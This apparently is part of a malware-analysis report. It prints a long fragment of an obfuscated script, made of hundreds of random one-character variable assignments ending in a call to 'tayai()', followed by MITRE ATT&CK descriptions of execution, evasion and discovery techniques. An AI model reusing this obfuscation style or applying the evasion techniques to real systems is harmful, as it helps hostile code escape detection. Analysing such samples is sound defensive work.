600	jalhwa = "V";
601	jalhwa = "t";
602	jalhwa = "R";
603	jalhwa = "M";
604	jalhwa = "S";
605	jalhwa = "q";
606	jalhwa = "s";
607	jalhwa = "w";
608	jalhwa = "w";
609	jalhwa = "v";
610	jalhwa = "S";
611	jalhwa = "g";
612	jalhwa = "t";
613	jalhwa = "F";
614	jalhwa = "D";
615	jalhwa = "m";
616	jalhwa = "G";
617	jalhwa = "W";
618	jalhwa = "q";
619	jalhwa = "q";
620	jalhwa = "-";
621	zjfbkzsxu = "N";
622	zjfbkzsxu = "X";
623	zjfbkzsxu = "I";
624	zjfbkzsxu = "f";
625	zjfbkzsxu = "h";
626	zjfbkzsxu = "f";
627	zjfbkzsxu = "N";
628	zjfbkzsxu = "u";
629	zjfbkzsxu = "U";
630	zjfbkzsxu = "q";
631	zjfbkzsxu = "U";
632	zjfbkzsxu = "m";
633	zjfbkzsxu = "J";
634	zjfbkzsxu = "n";
635	zjfbkzsxu = "b";
636	zjfbkzsxu = "z";
637	zjfbkzsxu = "h";
638	zjfbkzsxu = "T";
639	zjfbkzsxu = "W";
640	zjfbkzsxu = "y";
641	zjfbkzsxu = "F";
642	zjfbkzsxu = "l";
643	zjfbkzsxu = "Y";
644	zjfbkzsxu = "d";
645	zjfbkzsxu = "o";
646	zjfbkzsxu = "X";
647	zjfbkzsxu = "K";
648	zjfbkzsxu = "w";
649	zjfbkzsxu = "F";
650	zjfbkzsxu = "L";
651	zjfbkzsxu = "o";
652	zjfbkzsxu = "e";
653	zjfbkzsxu = "U";
654	zjfbkzsxu = "U";
655	zjfbkzsxu = "J";
656	zjfbkzsxu = "A";
657	zjfbkzsxu = "I";
658	zjfbkzsxu = "C";
659	zjfbkzsxu = "G";
660	zjfbkzsxu = "U";
661	zjfbkzsxu = "H";
662	zjfbkzsxu = "j";
663	zjfbkzsxu = "E";
664	vfjhnp = "T";
665	vfjhnp = "m";
666	vfjhnp = "I";
667	vfjhnp = "X";
668	vfjhnp = "c";
669	vfjhnp = "f";
670	vfjhnp = "G";
671	vfjhnp = "N";
672	vfjhnp = "h";
673	vfjhnp = "P";
674	vfjhnp = "T";
675	vfjhnp = "q";
676	vfjhnp = "Q";
677	vfjhnp = "H";
678	vfjhnp = "x";
679	vfjhnp = "H";
680	vfjhnp = "U";
681	vfjhnp = "R";
682	vfjhnp = "n";
683	vfjhnp = "d";
684	vfjhnp = "r";
685	yuiirjj = "J";
686	yuiirjj = "h";
687	yuiirjj = "m";
688	yuiirjj = "v";
689	yuiirjj = "P";
690	yuiirjj = "x";
691	yuiirjj = "S";
692	yuiirjj = "U";
693	yuiirjj = "M";
694	yuiirjj = "k";
695	yuiirjj = "Z";
696	yuiirjj = "N";
697	yuiirjj = "c";
698	yuiirjj = "O";
699	yuiirjj = "l";
700	yuiirjj = "V";
701	yuiirjj = "U";
702	yuiirjj = "C";
703	yuiirjj = "y";
704	yuiirjj = "q";
705	yuiirjj = "E";
706	yuiirjj = "A";
707	yuiirjj = "s";
708	yuiirjj = "K";
709	yuiirjj = "I";
710	yuiirjj = "w";
711	yuiirjj = "U";
712	yuiirjj = "i";
713	fcgpj = "F";
714	fcgpj = "K";
715	fcgpj = "X";
716	fcgpj = "O";
717	fcgpj = "R";
718	fcgpj = "h";
719	fcgpj = "I";
720	fcgpj = "u";
721	fcgpj = "n";
722	fcgpj = "x";
723	fcgpj = "E";
724	fcgpj = "S";
725	fcgpj = "W";
726	fcgpj = "B";
727	fcgpj = "z";
728	fcgpj = "Q";
729	fcgpj = "r";
730	fcgpj = "K";
731	fcgpj = "u";
732	fcgpj = "P";
733	fcgpj = "h";
734	fcgpj = "\\";
735	wrnxxg = "h";
736	wrnxxg = "x";
737	wrnxxg = "O";
738	wrnxxg = "z";
739	wrnxxg = "D";
740	wrnxxg = "l";
741	wrnxxg = "w";
742	wrnxxg = "o";
743	wrnxxg = "l";
744	wrnxxg = "N";
745	wrnxxg = "L";
746	wrnxxg = "c";
747	wrnxxg = "Z";
748	wrnxxg = "Q";
749	wrnxxg = "p";
750	wrnxxg = "z";
751	wrnxxg = "R";
752	wrnxxg = "D";
753	wrnxxg = "a";
754	wrnxxg = "a";
755	wrnxxg = "D";
756	wrnxxg = "P";
757	wrnxxg = "i";
758	wrnxxg = "j";
759	wrnxxg = "A";
760	wrnxxg = "d";
761	wrnxxg = "P";
762	wrnxxg = "S";
763	wrnxxg = "i";
764	wrnxxg = "3";
765	kflihksa = "c";
766	kflihksa = "x";
767	kflihksa = "K";
768	kflihksa = "K";
769	kflihksa = "k";
770	kflihksa = "Z";
771	kflihksa = "j";
772	ddznn = "H";
773	ddznn = "E";
774	ddznn = "L";
775	ddznn = "l";
776	ddznn = "G";
777	ddznn = "L";
778	ddznn = "t";
779	ddznn = "Z";
780	ddznn = "P";
781	ddznn = "x";
782	ddznn = "F";
783	ddznn = "R";
784	ddznn = "d";
785	ddznn = "V";
786	ddznn = "Z";
787	ddznn = "X";
788	ddznn = "v";
789	ddznn = "f";
790	ddznn = "F";
791	ddznn = "B";
792	ddznn = "j";
793	ddznn = "P";
794	zpomgjjvr = "z";
795	zpomgjjvr = "o";
796	zpomgjjvr = "N";
797	zpomgjjvr = "s";
798	zpomgjjvr = "p";
799	zpomgjjvr = "M";
800	zpomgjjvr = "Z";
801	zpomgjjvr = "X";
802	zpomgjjvr = "N";
803	zpomgjjvr = "I";
804	nlrhaohad = "O";
805	nlrhaohad = "X";
806	nlrhaohad = "u";
807	nlrhaohad = "K";
808	nlrhaohad = "k";
809	nlrhaohad = "v";
810	nlrhaohad = "W";
811	nlrhaohad = "l";
812	nlrhaohad = "U";
813	nlrhaohad = "e";
814	nlrhaohad = "c";
815	nlrhaohad = "F";
816	nlrhaohad = "y";
817	nlrhaohad = "l";
818	nlrhaohad = "F";
819	nlrhaohad = "V";
820	nlrhaohad = "z";
821	nlrhaohad = "P";
822	nlrhaohad = "m";
823	nlrhaohad = "Z";
824	nlrhaohad = "n";
825	nlrhaohad = "t";
826	nlrhaohad = "K";
827	nlrhaohad = "A";
828	nlrhaohad = "g";
829	nlrhaohad = "a";
830	nlrhaohad = "M";
831	nlrhaohad = "U";
832	nlrhaohad = "O";
833	nlrhaohad = "a";
834	nlrhaohad = "j";
835	nlrhaohad = "p";
836	nlrhaohad = "4";
837	liahcxhes = "U";
838	liahcxhes = "Y";
839	liahcxhes = "Z";
840	liahcxhes = "w";
841	liahcxhes = "a";
842	liahcxhes = "Y";
843	liahcxhes = "N";
844	liahcxhes = "b";
845	liahcxhes = "U";
846	liahcxhes = "k";
847	liahcxhes = "L";
848	liahcxhes = "W";
849	liahcxhes = "O";
850	liahcxhes = "j";
851	liahcxhes = "H";
852	liahcxhes = "d";
853	liahcxhes = "g";
854	liahcxhes = "H";
855	liahcxhes = "8";
856	ckfyju = "a";
857	ckfyju = "E";
858	ckfyju = "u";
859	ckfyju = "n";
860	ckfyju = "s";
861	ckfyju = "q";
862	ckfyju = "Q";
863	ckfyju = "d";
864	ckfyju = "m";
865	ckfyju = "T";
866	ckfyju = "i";
867	ckfyju = "J";
868	ckfyju = "z";
869	ckfyju = "B";
870	ckfyju = "w";
871	ffkgir = "b";
872	ffkgir = "e";
873	ffkgir = "G";
874	ffkgir = "k";
875	ffkgir = "k";
876	ffkgir = "J";
877	ffkgir = "a";
878	ffkgir = "Y";
879	ffkgir = "i";
880	ffkgir = "w";
881	ffkgir = "i";
882	ffkgir = "C";
883	ffkgir = "z";
884	ffkgir = "K";
885	ffkgir = "M";
886	ffkgir = "D";
887	ffkgir = "h";
888	ffkgir = "o";
889	ffkgir = "H";
890	ffkgir = "p";
891	ffkgir = "q";
892	lscrdvkop = "j";
893	lscrdvkop = "G";
894	lscrdvkop = "n";
895	lscrdvkop = "Y";
896	lscrdvkop = "l";
897	lscrdvkop = "M";
898	lscrdvkop = "J";
899	lscrdvkop = "k";
900	suthgwq = "k";
901	suthgwq = "q";
902	suthgwq = "H";
903	suthgwq = "P";
904	suthgwq = "F";
905	suthgwq = "b";
906	suthgwq = "i";
907	suthgwq = "V";
908	suthgwq = "d";
909	ythpbi = "W";
910	ythpbi = "a";
911	ythpbi = "a";
912	ythpbi = "Z";
913	ythpbi = "G";
914	ythpbi = "E";
915	ythpbi = "v";
916	ythpbi = "y";
917	ythpbi = "M";
918	ythpbi = "O";
919	ythpbi = "n";
920	ythpbi = "D";
921	ythpbi = "t";
922	ythpbi = "z";
923	ythpbi = "e";
924	ythpbi = "R";
925	ythpbi = "h";
926	ythpbi = "S";
927	ythpbi = "v";
928	ythpbi = "x";
929	ythpbi = "I";
930	ythpbi = "h";
931	ythpbi = "c";
932	ythpbi = "y";
933	ythpbi = "S";
934	ythpbi = "c";
935	ythpbi = "g";
936	ythpbi = "y";
937	ythpbi = "A";
938	ythpbi = "t";
939	ythpbi = "X";
940	ythpbi = ":";
941	jpcpdp = "A";
942	jpcpdp = "i";
943	jpcpdp = "d";
944	jpcpdp = "x";
945	jpcpdp = "W";
946	jpcpdp = "Z";
947	jpcpdp = "q";
948	jpcpdp = "X";
949	jpcpdp = "o";
950	jpcpdp = "x";
951	jpcpdp = "W";
952	jpcpdp = "z";
953	jpcpdp = "y";
954	jpcpdp = "c";
955	jpcpdp = "W";
956	jpcpdp = "F";
957	jpcpdp = "H";
958	mdpkkhypi = "d";
959	mdpkkhypi = "z";
960	mdpkkhypi = "z";
961	mdpkkhypi = "n";
962	mdpkkhypi = "e";
963	mdpkkhypi = "m";
964	mdpkkhypi = "d";
965	mdpkkhypi = "w";
966	mdpkkhypi = "P";
967	mdpkkhypi = "J";
968	mdpkkhypi = "p";
969	mdpkkhypi = "O";
970	mdpkkhypi = "E";
971	mdpkkhypi = "W";
972	mdpkkhypi = "s";
973	mdpkkhypi = "j";
974	mdpkkhypi = "u";
975	mdpkkhypi = "H";
976	mdpkkhypi = "q";
977	mdpkkhypi = "M";
978	mdpkkhypi = "P";
979	mdpkkhypi = "c";
980	mdpkkhypi = "V";
981	mdpkkhypi = "V";
982	mdpkkhypi = "Q";
983	mdpkkhypi = "T";
984	mdpkkhypi = "g";
985	mdpkkhypi = "G";
986	mdpkkhypi = "\"";
987	mgojhivp = "x";
988	mgojhivp = "m";
989	mgojhivp = "b";
990	mgojhivp = "w";
991	mgojhivp = "i";
992	mgojhivp = "b";
993	mgojhivp = "h";
994	mgojhivp = "o";
995	mgojhivp = "U";
996	mgojhivp = "O";
997	mgojhivp = "f";
998	mgojhivp = "L";
999	mgojhivp = "q";
1000	mgojhivp = "f";
1001	mgojhivp = "U";
1002	mgojhivp = "R";
1003	mgojhivp = "e";
1004	mgojhivp = "h";
1005	mgojhivp = "f";
1006	mgojhivp = "M";
1007	mgojhivp = "M";
1008	mgojhivp = "E";
1009	mgojhivp = "u";
1010	mgojhivp = "e";
1011	mgojhivp = "Z";
1012	mgojhivp = "x";
1013	mgojhivp = "x";
1014	iugzpjme = "J";
1015	iugzpjme = "d";
1016	iugzpjme = "b";
1017	iugzpjme = "9";
1018	jnupsk = "Y";
1019	jnupsk = "u";
1020	jnupsk = "r";
1021	jnupsk = "v";
1022	jnupsk = "l";
1023	jnupsk = "k";
1024	jnupsk = "M";
1025	jnupsk = "E";
1026	jnupsk = "S";
1027	jnupsk = "Z";
1028	jnupsk = "Y";
1029	jnupsk = "M";
1030	jnupsk = "z";
1031	jnupsk = "a";
1032	jnupsk = "c";
1033	jnupsk = "l";
1034	jnupsk = "B";
1035	jnupsk = "o";
1036	jnupsk = "r";
1037	jnupsk = "U";
1038	jnupsk = "B";
1039	jnupsk = "F";
1040	jnupsk = "n";
1041	jnupsk = "W";
1042	jnupsk = "C";
1043	jnupsk = "V";
1044	jnupsk = "e";
1045	jnupsk = "Y";
1046	jnupsk = "H";
1047	jnupsk = "f";
1048	jnupsk = "h";
1049	jnupsk = "f";
1050	iuolm = "H";
1051	iuolm = "z";
1052	iuolm = "I";
1053	iuolm = "Y";
1054	iuolm = "D";
1055	iuolm = "Q";
1056	iuolm = "h";
1057	iuolm = "Y";
1058	iuolm = "K";
1059	iuolm = "W";
1060	iuolm = "k";
1061	iuolm = "t";
1062	iuolm = "V";
1063	iuolm = "v";
1064	iuolm = "H";
1065	iuolm = "n";
1066	iuolm = "F";
1067	iuolm = "u";
1068	iuolm = "T";
1069	iuolm = "N";
1070	iuolm = "w";
1071	iuolm = "f";
1072	iuolm = "F";
1073	iuolm = "q";
1074	iuolm = "v";
1075	iuolm = "w";
1076	iuolm = "l";
1077	iuolm = "f";
1078	iuolm = "f";
1079	iuolm = "Y";
1080	iuolm = "I";
1081	iuolm = "K";
1082	iuolm = "N";
1083	iuolm = "v";
1084	iuolm = "A";
1085	iuolm = "Z";
1086	iuolm = "g";
1087	iuolm = "K";
1088	iuolm = "h";
1089	iuolm = "U";
1090	iuolm = "H";
1091	iuolm = "c";
1092	iuolm = "y";
1093	iuolm = "i";
1094	iuolm = "6";
1095	ixzbulqla = "M";
1096	ixzbulqla = "l";
1097	ixzbulqla = "g";
1098	ixzbulqla = "P";
1099	ixzbulqla = "a";
1100	ixzbulqla = "y";
1101	ixzbulqla = "p";
1102	ixzbulqla = "Y";
1103	ixzbulqla = "w";
1104	ixzbulqla = "p";
1105	edljqoqm = "W";
1106	edljqoqm = "1";
1107	gjvtcbyw = "m";
1108	gjvtcbyw = "e";
1109	gjvtcbyw = "I";
1110	gjvtcbyw = "Q";
1111	gjvtcbyw = "C";
1112	gjvtcbyw = "U";
1113	gjvtcbyw = "k";
1114	gjvtcbyw = "h";
1115	gjvtcbyw = "P";
1116	gjvtcbyw = "N";
1117	gjvtcbyw = "I";
1118	gjvtcbyw = "P";
1119	gjvtcbyw = "z";
1120	gjvtcbyw = "c";
1121	gjvtcbyw = "c";
1122	gjvtcbyw = "a";
1123	gjvtcbyw = "v";
1124	gjvtcbyw = "N";
1125	gjvtcbyw = "X";
1126	gjvtcbyw = "r";
1127	gjvtcbyw = "L";
1128	gjvtcbyw = "R";
1129	gjvtcbyw = "J";
1130	gjvtcbyw = "e";
1131	gjvtcbyw = "q";
1132	gjvtcbyw = "B";
1133	gjvtcbyw = "R";
1134	gjvtcbyw = "d";
1135	gjvtcbyw = "k";
1136	gjvtcbyw = "G";
1137	gjvtcbyw = "7";
1138	txonorl = "a";
1139	txonorl = "Y";
1140	txonorl = "e";
1141	txonorl = "N";
1142	txonorl = "F";
1143	impaifvtd = "B";
1144	impaifvtd = "S";
1145	impaifvtd = "E";
1146	impaifvtd = "z";
1147	impaifvtd = "K";
1148	impaifvtd = "q";
1149	impaifvtd = "b";
1150	impaifvtd = "K";
1151	impaifvtd = "W";
1152	impaifvtd = "i";
1153	impaifvtd = "v";
1154	impaifvtd = "t";
1155	impaifvtd = "Y";
1156	impaifvtd = "S";
1157	impaifvtd = "M";
1158	impaifvtd = "D";
1159	impaifvtd = "y";
1160	impaifvtd = "C";
1161	impaifvtd = "B";
1162	impaifvtd = "q";
1163	impaifvtd = "F";
1164	impaifvtd = "O";
1165	wkmcz = "o";
1166	wkmcz = "t";
1167	wkmcz = "Y";
1168	wkmcz = "z";
1169	wkmcz = "v";
1170	wkmcz = "e";
1171	wkmcz = "u";
1172	wkmcz = "n";
1173	wkmcz = "M";
1174	wkmcz = "V";
1175	wkmcz = "f";
1176	wkmcz = "k";
1177	wkmcz = "k";
1178	wkmcz = "m";
1179	wkmcz = "d";
1180	wkmcz = "p";
1181	wkmcz = "r";
1182	wkmcz = "p";
1183	wkmcz = "L";
1184	wkmcz = "W";
1185	wkmcz = "X";
1186	wkmcz = "a";
1187	wkmcz = "A";
1188	wkmcz = "p";
1189	wkmcz = "S";
1190	wkmcz = "f";
1191	wkmcz = "q";
1192	wkmcz = "H";
1193	wkmcz = "S";
1194	bgodwcymh = "w";
1195	bgodwcymh = "P";
1196	bgodwcymh = "k";
1197	bgodwcymh = "h";
1198	bgodwcymh = "f";
1199	bgodwcymh = "M";
1200	bgodwcymh = "n";
1201	bgodwcymh = "V";
1202	bgodwcymh = "K";
1203	bgodwcymh = "d";
1204	bgodwcymh = "E";
1205	bgodwcymh = "E";
1206	bgodwcymh = "W";
1207	bgodwcymh = "O";
1208	bgodwcymh = "o";
1209	bgodwcymh = "L";
1210	bgodwcymh = "U";
1211	bgodwcymh = "Y";
1212	bgodwcymh = "B";
1213	bgodwcymh = "S";
1214	bgodwcymh = "R";
1215	bgodwcymh = "F";
1216	bgodwcymh = "m";
1217	bgodwcymh = "a";
1218	bgodwcymh = "R";
1219	bgodwcymh = "O";
1220	bgodwcymh = "w";
1221	bgodwcymh = "k";
1222	bgodwcymh = "@";
1223	ivuer = "K";
1224	ivuer = "S";
1225	ivuer = "N";
1226	jtadr = "Z";
1227	jtadr = "b";
1228	jtadr = "e";
1229	jtadr = "o";
1230	jtadr = "p";
1231	jtadr = "d";
1232	jtadr = "F";
1233	jtadr = "R";
1234	jtadr = "j";
1235	jtadr = "o";
1236	jtadr = "w";
1237	jtadr = "g";
1238	jtadr = "&";
1239	krail = "g";
1240	krail = "z";
1241	krail = "e";
1242	krail = "X";
1243	krail = "h";
1244	krail = "H";
1245	krail = "Z";
1246	krail = "p";
1247	krail = "Y";
1248	krail = "T";
1249	krail = "I";
1250	krail = "E";
1251	krail = "V";
1252	krail = "K";
1253	krail = "C";
1254	krail = "y";
1255	krail = "B";
1256	krail = "K";
1257	krail = "I";
1258	krail = "D";
1259	krail = "i";
1260	krail = "y";
1261	krail = "v";
1262	krail = "e";
1263	krail = "z";
1264	krail = "V";
1265	krail = "M";
1266	krail = "b";
1267	krail = "W";
1268	krail = "T";
1269	krail = "C";
1270	krail = "K";
1271	krail = "E";
1272	krail = "m";
1273	krail = "e";
1274	krail = "v";
1275	krail = "y";
1276	krail = "N";
1277	krail = "h";
1278	krail = "Z";
1279	krail = "l";
1280	krail = "v";
1281	krail = "E";
1282	krail = "O";
1283	krail = "0";
1284	ioxneq = "Q";
1285	ioxneq = "L";
1286	ioxneq = "j";
1287	ioxneq = "U";
1288	ioxneq = "l";
1289	ioxneq = "j";
1290	ioxneq = "I";
1291	ioxneq = "V";
1292	ioxneq = "Y";
1293	ioxneq = "q";
1294	ioxneq = "G";
1295	ioxneq = "G";
1296	ioxneq = "Q";
1297	ioxneq = "J";
1298	ioxneq = "K";
1299	ioxneq = "s";
1300	ioxneq = "Z";
1301	ioxneq = "X";
1302	ioxneq = "U";
1303	ioxneq = "Z";
1304	ioxneq = "F";
1305	ioxneq = "i";
1306	ioxneq = "h";
1307	ioxneq = "z";
1308	ioxneq = "M";
1309	ioxneq = "p";
1310	ioxneq = "n";
1311	ioxneq = "E";
1312	ioxneq = "O";
1313	ioxneq = "u";
1314	ioxneq = "M";
1315	ioxneq = "k";
1316	ioxneq = "S";
1317	ioxneq = "Y";
1318	ioxneq = "n";
1319	ioxneq = "c";
1320	ioxneq = "t";
1321	ydlulua = "i";
1322	ydlulua = "f";
1323	ydlulua = "C";
1324	ydlulua = "H";
1325	ydlulua = "Y";
1326	ydlulua = "w";
1327	ydlulua = "J";
1328	ydlulua = "T";
1329	ydlulua = "o";
1330	ydlulua = "m";
1331	ydlulua = "c";
1332	ydlulua = "A";
1333	ydlulua = "R";
1334	ydlulua = "d";
1335	ydlulua = "i";
1336	ydlulua = "w";
1337	ydlulua = "N";
1338	ydlulua = "v";
1339	ydlulua = "P";
1340	ydlulua = "i";
1341	ydlulua = "D";
1342	ydlulua = "T";
1343	ydlulua = "l";
1344	ydlulua = "E";
1345	ydlulua = "h";
1346	ydlulua = "N";
1347	ydlulua = "C";
1348	ydlulua = "B";
1349	ydlulua = "x";
1350	ydlulua = "O";
1351	ydlulua = "r";
1352	ydlulua = "c";
1353	ydlulua = "X";
1354	ydlulua = "F";
1355	ydlulua = "c";
1356	ydlulua = "b";
1357	ydlulua = "H";
1358	ydlulua = "g";
1359	ydlulua = "R";
1360	ydlulua = "P";
1361	ydlulua = "N";
1362	ydlulua = "W";
1363	ydlulua = "v";
1364	ydlulua = "n";
1365	ydlulua = "T";
1366	unftsi = "R";
1367	unftsi = "h";
1368	unftsi = "K";
1369	unftsi = "r";
1370	unftsi = "H";
1371	unftsi = "o";
1372	unftsi = "X";
1373	unftsi = "u";
1374	unftsi = "z";
1375	unftsi = "y";
1376	unftsi = "x";
1377	unftsi = "a";
1378	unftsi = "x";
1379	unftsi = "d";
1380	unftsi = "T";
1381	unftsi = "t";
1382	unftsi = "D";
1383	unftsi = "V";
1384	unftsi = "s";
1385	ybtlyb = "m";
1386	ybtlyb = "y";
1387	ybtlyb = "o";
1388	ybtlyb = "O";
1389	ybtlyb = "t";
1390	ybtlyb = "k";
1391	ybtlyb = "t";
1392	ybtlyb = "M";
1393	ybtlyb = "D";
1394	ybtlyb = "f";
1395	ybtlyb = "p";
1396	ybtlyb = "g";
1397	ybtlyb = "k";
1398	ybtlyb = "o";
1399	ybtlyb = "i";
1400	ybtlyb = "E";
1401	ybtlyb = "B";
1402	ybtlyb = "V";
1403	ybtlyb = "t";
1404	ybtlyb = "E";
1405	ybtlyb = "O";
1406	ybtlyb = "q";
1407	ybtlyb = "c";
1408	ybtlyb = "z";
1409	ybtlyb = "q";
1410	ybtlyb = "F";
1411	ybtlyb = "Y";
1412	ybtlyb = "E";
1413	ybtlyb = "O";
1414	ybtlyb = "F";
1415	ybtlyb = "O";
1416	ybtlyb = "j";
1417	ybtlyb = "s";
1418	ybtlyb = "I";
1419	ybtlyb = "H";
1420	ybtlyb = "L";
1421	ybtlyb = "Y";
1422	ybtlyb = "m";
1423	ybtlyb = "N";
1424	ybtlyb = "2";
1425	ershy = "N";
1426	ershy = "x";
1427	ershy = "O";
1428	ershy = "U";
1429	ershy = "v";
1430	ershy = "j";
1431	ershy = "b";
1432	ershy = "c";
1433	ershy = "y";
1434	ershy = "Y";
1435	ershy = "c";
1436	ershy = "A";
1437	ershy = "j";
1438	ershy = "C";
1439	ershy = "a";
1440	ershy = "F";
1441	ershy = "A";
1442	ershy = "K";
1443	ershy = "I";
1444	ershy = "K";
1445	ershy = "c";
1446	ershy = "b";
1447	ershy = "L";
1448	ershy = "z";
1449	ershy = "H";
1450	ershy = "d";
1451	ershy = "J";
1452	ershy = "D";
1453	ershy = "P";
1454	ershy = "Y";
1455	bfsgobewq = "n";
1456	bfsgobewq = "p";
1457	bfsgobewq = "g";
1458	bfsgobewq = "p";
1459	bfsgobewq = "T";
1460	bfsgobewq = "d";
1461	bfsgobewq = "T";
1462	bfsgobewq = "L";
1463	bfsgobewq = "T";
1464	bfsgobewq = "P";
1465	bfsgobewq = "A";
1466	bfsgobewq = "y";
1467	bfsgobewq = "l";
1468	bfsgobewq = "u";
1469	bfsgobewq = "X";
1470	bfsgobewq = "G";
1471	bfsgobewq = "k";
1472	bfsgobewq = "n";
1473	bfsgobewq = "e";
1474	bfsgobewq = "v";
1475	bfsgobewq = "G";
1476	bfsgobewq = "l";
1477	bfsgobewq = "d";
1478	bfsgobewq = "d";
1479	bfsgobewq = "j";
1480	bfsgobewq = "S";
1481	bfsgobewq = "A";
1482	bfsgobewq = "n";
1483	bfsgobewq = "G";
1484	bfsgobewq = "U";
1485	bfsgobewq = "n";
1486	bfsgobewq = " ";
1487	tqgjqd = "J";
1488	tqgjqd = "Y";
1489	tqgjqd = "J";
1490	tqgjqd = "T";
1491	tqgjqd = "j";
1492	tqgjqd = "T";
1493	tqgjqd = "y";
1494	tqgjqd = "v";
1495	tqgjqd = "q";
1496	tqgjqd = "X";
1497	tqgjqd = "p";
1498	tqgjqd = "D";
1499	tqgjqd = "O";
1500	tqgjqd = "x";
1501	tqgjqd = "h";
1502	tqgjqd = "I";
1503	tqgjqd = "s";
1504	tqgjqd = "H";
1505	tqgjqd = "E";
1506	tqgjqd = "a";
1507	tqgjqd = "L";
1508	tqgjqd = "p";
1509	tqgjqd = "Q";
1510	tqgjqd = "U";
1511	tqgjqd = "L";
1512	tqgjqd = "O";
1513	tqgjqd = "T";
1514	tqgjqd = "Q";
1515	tqgjqd = "w";
1516	tqgjqd = "Y";
1517	tqgjqd = "R";
1518	tqgjqd = "s";
1519	tqgjqd = "X";
1520	tqgjqd = "V";
1521	tqgjqd = "v";
1522	tqgjqd = "R";
1523	tayai ( );	tayai() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
